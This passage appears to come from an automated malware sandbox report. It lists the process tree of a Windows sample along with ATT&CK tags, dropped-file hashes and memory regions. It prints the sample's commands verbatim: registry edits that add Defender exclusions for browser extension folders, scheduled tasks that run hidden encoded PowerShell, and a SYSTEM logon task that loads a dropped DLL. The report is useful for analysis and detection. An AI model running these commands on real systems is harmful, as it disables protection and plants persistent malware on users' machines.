                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dLghTkXXJYUn" /t REG_DWORD /d 0 /reg:64
                                                  3⤵
                                                  • System Location Discovery: System Language Discovery
                                                  PID:2016
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\UQYVlFmkpVlhWwVB /t REG_DWORD /d 0 /reg:32
                                                  3⤵
                                                    PID:3576
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\UQYVlFmkpVlhWwVB /t REG_DWORD /d 0 /reg:64
                                                    3⤵
                                                    • System Location Discovery: System Language Discovery
                                                    PID:4872
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                    3⤵
                                                    • System Location Discovery: System Language Discovery
                                                    PID:2244
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                    3⤵
                                                    • System Location Discovery: System Language Discovery
                                                    PID:1016
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                    3⤵
                                                      PID:1272
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                      3⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:1904
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\IntOZJXjzgIlwSrYA /t REG_DWORD /d 0 /reg:32
                                                      3⤵
                                                        PID:4660
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\IntOZJXjzgIlwSrYA /t REG_DWORD /d 0 /reg:64
                                                        3⤵
                                                          PID:1172
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\YIXdnjwIixpMFthL /t REG_DWORD /d 0 /reg:32
                                                          3⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:4088
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\YIXdnjwIixpMFthL /t REG_DWORD /d 0 /reg:64
                                                          3⤵
                                                            PID:5024
                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                          schtasks /CREATE /TN "gZqXlPZcW" /SC once /ST 03:50:36 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                          2⤵
                                                          • Scheduled Task/Job: Scheduled Task
                                                          PID:4092
                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                          schtasks /run /I /tn "gZqXlPZcW"
                                                          2⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:4176
                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                          schtasks /DELETE /F /TN "gZqXlPZcW"
                                                          2⤵
                                                            PID:4868
                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                            schtasks /END /TN "XzTTGfRHhsSQnOLDY"
                                                            2⤵
                                                              PID:3804
                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                              schtasks /DELETE /F /TN "XzTTGfRHhsSQnOLDY"
                                                              2⤵
                                                                PID:4664
                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                schtasks /END /TN "XzTTGfRHhsSQnOLDY2"
                                                                2⤵
                                                                  PID:3460
                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                  schtasks /DELETE /F /TN "XzTTGfRHhsSQnOLDY2"
                                                                  2⤵
                                                                    PID:1168
                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                    schtasks /END /TN "FWbuSwfZFsgwoXKWz"
                                                                    2⤵
                                                                      PID:2016
                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                      schtasks /DELETE /F /TN "FWbuSwfZFsgwoXKWz"
                                                                      2⤵
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:880
                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                      schtasks /END /TN "FWbuSwfZFsgwoXKWz2"
                                                                      2⤵
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:1004
                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                      schtasks /DELETE /F /TN "FWbuSwfZFsgwoXKWz2"
                                                                      2⤵
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:5032
                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                      schtasks /END /TN "QARjdqhHkeUSJySsU"
                                                                      2⤵
                                                                        PID:2808
                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                        schtasks /DELETE /F /TN "QARjdqhHkeUSJySsU"
                                                                        2⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:4508
                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                        schtasks /END /TN "QARjdqhHkeUSJySsU2"
                                                                        2⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:5092
                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                        schtasks /DELETE /F /TN "QARjdqhHkeUSJySsU2"
                                                                        2⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:1236
                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                        schtasks /END /TN "fQYKPzMybePlvBGQCyc"
                                                                        2⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:4840
                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                        schtasks /DELETE /F /TN "fQYKPzMybePlvBGQCyc"
                                                                        2⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:4012
                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                        schtasks /END /TN "fQYKPzMybePlvBGQCyc2"
                                                                        2⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:4056
                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                        schtasks /DELETE /F /TN "fQYKPzMybePlvBGQCyc2"
                                                                        2⤵
                                                                          PID:2400
                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                          schtasks /END /TN "FIPQnGcqMxrFEWDuliU"
                                                                          2⤵
                                                                            PID:2316
                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                            schtasks /DELETE /F /TN "FIPQnGcqMxrFEWDuliU"
                                                                            2⤵
                                                                              PID:4692
                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                              schtasks /END /TN "FIPQnGcqMxrFEWDuliU2"
                                                                              2⤵
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:4340
                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                              schtasks /DELETE /F /TN "FIPQnGcqMxrFEWDuliU2"
                                                                              2⤵
                                                                                PID:4424
                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                schtasks /END /TN "YIKgGKXxRbHNIaIyYyL"
                                                                                2⤵
                                                                                  PID:4748
                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                  schtasks /DELETE /F /TN "YIKgGKXxRbHNIaIyYyL"
                                                                                  2⤵
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  PID:2216
                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                  schtasks /END /TN "YIKgGKXxRbHNIaIyYyL2"
                                                                                  2⤵
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  PID:2208
                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                  schtasks /DELETE /F /TN "YIKgGKXxRbHNIaIyYyL2"
                                                                                  2⤵
                                                                                    PID:4868
                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                    schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\YjQMAHbWU\GJPBsU.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "GqmqubHZBeiIxpo" /V1 /F
                                                                                    2⤵
                                                                                    • Drops file in Windows directory
                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                    PID:4764
                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                    schtasks /END /TN "OQOjSEtbMvvyYjD"
                                                                                    2⤵
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    PID:640
                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                    schtasks /DELETE /F /TN "OQOjSEtbMvvyYjD"
                                                                                    2⤵
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    PID:2156
                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                    schtasks /END /TN "OQOjSEtbMvvyYjD2"
                                                                                    2⤵
                                                                                      PID:2860
                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                      schtasks /DELETE /F /TN "OQOjSEtbMvvyYjD2"
                                                                                      2⤵
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      PID:2016
                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                      schtasks /END /TN "FKVxFcymEbpqvaq"
                                                                                      2⤵
                                                                                        PID:4428
                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                        schtasks /DELETE /F /TN "FKVxFcymEbpqvaq"
                                                                                        2⤵
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:3012
                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                        schtasks /END /TN "FKVxFcymEbpqvaq2"
                                                                                        2⤵
                                                                                          PID:4008
                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                          schtasks /DELETE /F /TN "FKVxFcymEbpqvaq2"
                                                                                          2⤵
                                                                                            PID:4196
                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                            schtasks /END /TN "rOGhtOyMLHtWlf"
                                                                                            2⤵
                                                                                              PID:1468
                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                              schtasks /DELETE /F /TN "rOGhtOyMLHtWlf"
                                                                                              2⤵
                                                                                                PID:5056
                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                schtasks /END /TN "geJJKyFMaGRjIf"
                                                                                                2⤵
                                                                                                • System Location Discovery: System Language Discovery
                                                                                                PID:4828
                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                schtasks /DELETE /F /TN "geJJKyFMaGRjIf"
                                                                                                2⤵
                                                                                                • System Location Discovery: System Language Discovery
                                                                                                PID:4944
                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                schtasks /END /TN "iSixUSrJJvCYJ"
                                                                                                2⤵
                                                                                                • System Location Discovery: System Language Discovery
                                                                                                PID:4612
                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                schtasks /DELETE /F /TN "iSixUSrJJvCYJ"
                                                                                                2⤵
                                                                                                  PID:2012
                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                  schtasks /END /TN "iSixUSrJJvCYJ2"
                                                                                                  2⤵
                                                                                                    PID:4296
                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                    schtasks /DELETE /F /TN "iSixUSrJJvCYJ2"
                                                                                                    2⤵
                                                                                                      PID:3492
                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                      schtasks /END /TN "vZzcwClkycEgo"
                                                                                                      2⤵
                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                      PID:4020
                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                      schtasks /DELETE /F /TN "vZzcwClkycEgo"
                                                                                                      2⤵
                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                      PID:1616
                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                      schtasks /END /TN "vZzcwClkycEgo2"
                                                                                                      2⤵
                                                                                                        PID:2636
                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                        schtasks /DELETE /F /TN "vZzcwClkycEgo2"
                                                                                                        2⤵
                                                                                                          PID:4076
                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                          schtasks /CREATE /TN "GqmqubHZBeiIxpo2" /F /xml "C:\Program Files (x86)\YjQMAHbWU\faAvUyh.xml" /RU "SYSTEM"
                                                                                                          2⤵
                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                          PID:1468
                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                          schtasks /END /TN "GqmqubHZBeiIxpo"
                                                                                                          2⤵
                                                                                                            PID:4876
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /DELETE /F /TN "GqmqubHZBeiIxpo"
                                                                                                            2⤵
                                                                                                              PID:1340
                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                              schtasks /CREATE /TN "xVzozZXYwkkdWg" /F /xml "C:\Program Files (x86)\CMKMbRFSZeNU2\ymlANau.xml" /RU "SYSTEM"
                                                                                                              2⤵
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                              PID:3080
                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                              schtasks /CREATE /TN "AGouOwHOLlnps2" /F /xml "C:\ProgramData\UQYVlFmkpVlhWwVB\BDWPyAV.xml" /RU "SYSTEM"
                                                                                                              2⤵
                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                              PID:4636
                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                              schtasks /CREATE /TN "QARjdqhHkeUSJySsU2" /F /xml "C:\Program Files (x86)\WxPudDgYHAKHzPDhsOR\OzBNeCy.xml" /RU "SYSTEM"
                                                                                                              2⤵
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                              PID:3084
                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                              schtasks /CREATE /TN "YIKgGKXxRbHNIaIyYyL2" /F /xml "C:\Program Files (x86)\JXqrxIFSrhCmC\DDLWHNh.xml" /RU "SYSTEM"
                                                                                                              2⤵
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                              PID:4012
                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 5116 -s 1752
                                                                                                              2⤵
                                                                                                              • Program crash
                                                                                                              PID:228
                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                            1⤵
                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:3312
                                                                                                            • C:\Windows\system32\gpupdate.exe
                                                                                                              "C:\Windows\system32\gpupdate.exe" /force
                                                                                                              2⤵
                                                                                                                PID:2732
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                              1⤵
                                                                                                                PID:4260
                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                1⤵
                                                                                                                  PID:1028
                                                                                                                • C:\Windows\system32\gpscript.exe
                                                                                                                  gpscript.exe /RefreshSystemParam
                                                                                                                  1⤵
                                                                                                                    PID:1700
                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 5116 -ip 5116
                                                                                                                    1⤵
                                                                                                                      PID:4904

                                                                                                                    Network

                                                                                                                    MITRE ATT&CK Enterprise v15

                                                                                                                    Replay Monitor

                                                                                                                    Loading Replay Monitor...

                                                                                                                    Downloads

                                                                                                                    • C:\Program Files (x86)\CMKMbRFSZeNU2\ymlANau.xml

                                                                                                                      Filesize

                                                                                                                      2KB

                                                                                                                      MD5

                                                                                                                      5d3cbc47ab224ef9422b5b0ee3073852

                                                                                                                      SHA1

                                                                                                                      2d6422de395dc2009525e35bbdba31d815c10188

                                                                                                                      SHA256

                                                                                                                      7d66cb7a422742729d2ced0b5207261f643bcb364a63a9fffe22913cf7cdc91d

                                                                                                                      SHA512

                                                                                                                      009c65f93894aeef7b3a7e08073712115649378f8b2e5c9befc3136aa0d14e9470530578f2f9a8eebeafa981526c191ddae9e7972b71c9afb4f240c299682380

                                                                                                                    • C:\Program Files (x86)\JXqrxIFSrhCmC\DDLWHNh.xml

                                                                                                                      Filesize

                                                                                                                      2KB

                                                                                                                      MD5

                                                                                                                      a4ecc709fa4dba82361bf02e4d6efffe

                                                                                                                      SHA1

                                                                                                                      1e31b963b8272adc67db7ac9a7e189c6086b56b5

                                                                                                                      SHA256

                                                                                                                      88c675f40d650105711e4084e66c8764fbb7526e8dd23ddfdb5d4ab58bcd4562

                                                                                                                      SHA512

                                                                                                                      477334f90f9bdd612653aef8f0cefb52eb23bbf4ba0152b9c13ca153415901c67c620aeef59f1f2e9d955ab6a2e4a879d72872485e6ee584e184a27b2340892a

                                                                                                                    • C:\Program Files (x86)\WxPudDgYHAKHzPDhsOR\OzBNeCy.xml

                                                                                                                      Filesize

                                                                                                                      2KB

                                                                                                                      MD5

                                                                                                                      be2e531d4f0438745aea9b59a84acc7f

                                                                                                                      SHA1

                                                                                                                      62e4397a18fbf3746d9f3b310610e0a35fb4d526

                                                                                                                      SHA256

                                                                                                                      4d1e19ce6f66b5ea0edc15c7540e33ce00efa5a0d569808abbb9ff34cd5882a9

                                                                                                                      SHA512

                                                                                                                      8bdad069adbf3153b131063518252d291f9e87d9d1b02a4b2afd116377a4547870c2252c02668692716c1ba6abb031b91162a4960f6a8a4c4692361211b294e2

                                                                                                                    • C:\Program Files (x86)\YjQMAHbWU\faAvUyh.xml

                                                                                                                      Filesize

                                                                                                                      2KB

                                                                                                                      MD5

                                                                                                                      bdb602c1dfcc21e8fa6a6730520b61b1

                                                                                                                      SHA1

                                                                                                                      c94e15d492b7018b74e80349103258a9eb0076a5

                                                                                                                      SHA256

                                                                                                                      0de45d0c8318205ce7d082799fdcafd70a54d36da350dec7be9c1ddf47a498a5

                                                                                                                      SHA512

                                                                                                                      1d91e2d7698dcf9bf3151f25c9a6b9a2fe858d6e8f66a919b1df04a53c1e0e0fb5263f02cf257c9a8cbb1f78ee3f354a451e7b04860a1c296de7fd502bbdfc47

                                                                                                                    • C:\Program Files\Mozilla Firefox\browser\features\{17F63D03-641A-4482-B2EB-067FF4457D6B}.xpi

                                                                                                                      Filesize

                                                                                                                      644KB

                                                                                                                      MD5

                                                                                                                      64ba3bd8709d2b89ca221f6cb30ec5bc

                                                                                                                      SHA1

                                                                                                                      0d217dcd86820d601b7983001a7e4a84ebdc304f

                                                                                                                      SHA256

                                                                                                                      e7f01034eecf646564917023707b607179d48404735561aaacdd6f3781f4b416

                                                                                                                      SHA512

                                                                                                                      247c8dd44057b513f34bcfb39f4650cf643065413767dcb2ec27f12e01dbae29bb24a1bf5ac16b603ea486fb2ccf7e4cb190f16d110aa95cab14847cfd49f226

                                                                                                                    • C:\ProgramData\UQYVlFmkpVlhWwVB\BDWPyAV.xml

                                                                                                                      Filesize

                                                                                                                      2KB

                                                                                                                      MD5

                                                                                                                      b23c00f2c45783ee3df03c19b74bc301

                                                                                                                      SHA1

                                                                                                                      5912a7d0f93d1570ab3f63462eb2c396c1601536

                                                                                                                      SHA256

                                                                                                                      fd49db1545336b779f3bf0731bc65622d5f9201c29fb81415373fa592393906a

                                                                                                                      SHA512

                                                                                                                      ab6d3db7f8ba5adb68b4bde2b8dde1f8399b0229dc69d027a636630ab20515f56a1f0c7449788aa3894266492fb2c02521dcae63545515c8888ab4ce050ceee4

                                                                                                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\fakaldmaepeakkcjljcakjphgknbbbmp\1.1_0\_locales\en\messages.json

                                                                                                                      Filesize

                                                                                                                      150B

                                                                                                                      MD5

                                                                                                                      33292c7c04ba45e9630bb3d6c5cabf74

                                                                                                                      SHA1

                                                                                                                      3482eb8038f429ad76340d3b0d6eea6db74e31bd

                                                                                                                      SHA256

                                                                                                                      9bb88ea0dcd22868737f42a3adbda7bf773b1ea07ee9f4c33d7a32ee1d902249

                                                                                                                      SHA512

                                                                                                                      2439a27828d05bddec6d9c1ec0e23fc9ebb3df75669b90dbe0f46ca05d996f857e6fbc7c895401fecfae32af59a7d4680f83edca26f8f51ca6c00ef76e591754

                                                                                                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\fakaldmaepeakkcjljcakjphgknbbbmp\1.1_0\_locales\pt_BR\messages.json

                                                                                                                      Filesize

                                                                                                                      161B

                                                                                                                      MD5

                                                                                                                      5c5a1426ff0c1128c1c6b8bc20ca29ac

                                                                                                                      SHA1

                                                                                                                      0e3540b647b488225c9967ff97afc66319102ccd

                                                                                                                      SHA256

                                                                                                                      5e206dd2dad597ac1d7fe5a94ff8a1a75f189d1fe41c8144df44e3093a46b839

                                                                                                                      SHA512

                                                                                                                      1f61809a42b7f34a3c7d40b28aa4b4979ae94b52211b8f08362c54bbb64752fa1b9cc0c6d69e7dab7e5c49200fb253f0cff59a64d98b23c0b24d7e024cee43c4

                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                      Filesize

                                                                                                                      1KB

                                                                                                                      MD5

                                                                                                                      def65711d78669d7f8e69313be4acf2e

                                                                                                                      SHA1

                                                                                                                      6522ebf1de09eeb981e270bd95114bc69a49cda6

                                                                                                                      SHA256

                                                                                                                      aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c

                                                                                                                      SHA512

                                                                                                                      05b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7

                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ehjcjbdklhanfkcemjelopjanaednaan\1.0_0\_locales\es\messages.json

                                                                                                                      Filesize

                                                                                                                      186B

                                                                                                                      MD5

                                                                                                                      a14d4b287e82b0c724252d7060b6d9e9

                                                                                                                      SHA1

                                                                                                                      da9d3da2df385d48f607445803f5817f635cc52d

                                                                                                                      SHA256

                                                                                                                      1e16982fac30651f8214b23b6d81d451cc7dbb322eb1242ae40b0b9558345152

                                                                                                                      SHA512

                                                                                                                      1c4d1d3d658d9619a52b75bad062a07f625078d9075af706aa0051c5f164540c0aa4dacfb1345112ac7fc6e4d560cc1ea2023735bcf68b81bf674bc2fb8123fb

                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                      Filesize

                                                                                                                      15KB

                                                                                                                      MD5

                                                                                                                      e80cfe966b3a212d12e8b82b7e34f215

                                                                                                                      SHA1

                                                                                                                      c685ffdf154190eaed1a337b43a83c1a0549faa2

                                                                                                                      SHA256

                                                                                                                      a21680e766c2056b6389813410cb80a322986f36108c15bf7900a8f1f5238193

                                                                                                                      SHA512

                                                                                                                      066afde4701b66df01dfd45fdac2d6471b8dc1912eecda80379b555c5b7e489852de6d82e58175aa59f58a4a26f47d1854d7f38d96077b5a06a946f626135fdc

                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                      Filesize

                                                                                                                      11KB

                                                                                                                      MD5

                                                                                                                      98ff6d02798b4e25eadd4017d8405125

                                                                                                                      SHA1

                                                                                                                      74be7633ccd986db31c23078014eda24cda06d5e

                                                                                                                      SHA256

                                                                                                                      36204514d6d1f07046007e2f7f6bbdca7d5826949e5a9c18601e6c773baf40bf

                                                                                                                      SHA512

                                                                                                                      51aa74a24a9b9f2961be6bb94e539d54667ae7033feb89586c5f15a7e9ffb6db747a01bfffd980e63974d55897c0a27562f3672d0ae651faec2c3b6dee407a94

                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                      Filesize

                                                                                                                      11KB

                                                                                                                      MD5

                                                                                                                      00e86c77e0fead528cb6a70b48624f95

                                                                                                                      SHA1

                                                                                                                      bc5b6232792bec2ada0153988c4f592365f4cdf8

                                                                                                                      SHA256

                                                                                                                      479e81974cc7b2fab1be4d90f5763687e3536e69abd08cccc62e9e15857ef806

                                                                                                                      SHA512

                                                                                                                      516f11816aa330a056bd68e73bc552ce389b46c260371eeca6bddaa27205b85a9ec5c63ce01ba9570b3bb3b16855d98481eba2b62a40a516d8e761af50f95c18

                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tfef4ue1.vxi.ps1

                                                                                                                      Filesize

                                                                                                                      60B

                                                                                                                      MD5

                                                                                                                      d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                      SHA1

                                                                                                                      6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                      SHA256

                                                                                                                      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                      SHA512

                                                                                                                      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\yeb58ys6.default-release\prefs.js

                                                                                                                      Filesize

                                                                                                                      11KB

                                                                                                                      MD5

                                                                                                                      9515d63ab6aba1849f36c24c5c5e101d

                                                                                                                      SHA1

                                                                                                                      158d1bb116e8c9428526898278daf5d9ee9e324f

                                                                                                                      SHA256

                                                                                                                      93c7a43262ab4086f892cebc0dd76f10ee1d29b3d14f1d0e983511150b8254fd

                                                                                                                      SHA512

                                                                                                                      0d0c579c3be5c1dd997b1f913be11fe48cc2bb061358f35588aec6d89ae27dfaa734471f877a3eb00536d3c327dee69998f1226bc7cd441e81a44714c63cd976

                                                                                                                    • C:\Windows\System32\GroupPolicy\Machine\Registry.pol

                                                                                                                      Filesize

                                                                                                                      7KB

                                                                                                                      MD5

                                                                                                                      ce5ddf4e81ccee60ca845de116ed10f0

                                                                                                                      SHA1

                                                                                                                      46dc7c3be4f5bcb4893a59f1d54ccbd60556a74f

                                                                                                                      SHA256

                                                                                                                      fb002c12910d80c8c775d00ff51235f079378b52f37950480b205f4a8fa52fa5

                                                                                                                      SHA512

                                                                                                                      fe606cf824d4894415171437a709af36fe1bd67eadbfd949729c0298473d1635ba4c3deea7af028f23dcdc2c8ec6788906a0fb1368a26957cb421662ba15bb96

                                                                                                                    • memory/1904-17-0x00000000062A0000-0x00000000062EC000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      304KB

                                                                                                                    • memory/1904-19-0x00000000066F0000-0x000000000670A000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      104KB

                                                                                                                    • memory/1904-1-0x0000000002900000-0x0000000002936000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      216KB

                                                                                                                    • memory/1904-2-0x0000000005370000-0x0000000005998000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      6.2MB

                                                                                                                    • memory/1904-3-0x0000000005340000-0x0000000005362000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      136KB

                                                                                                                    • memory/1904-5-0x0000000005B80000-0x0000000005BE6000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      408KB

                                                                                                                    • memory/1904-21-0x0000000007A40000-0x0000000007FE4000-memory.dmp

                                                                                                                      Filesize

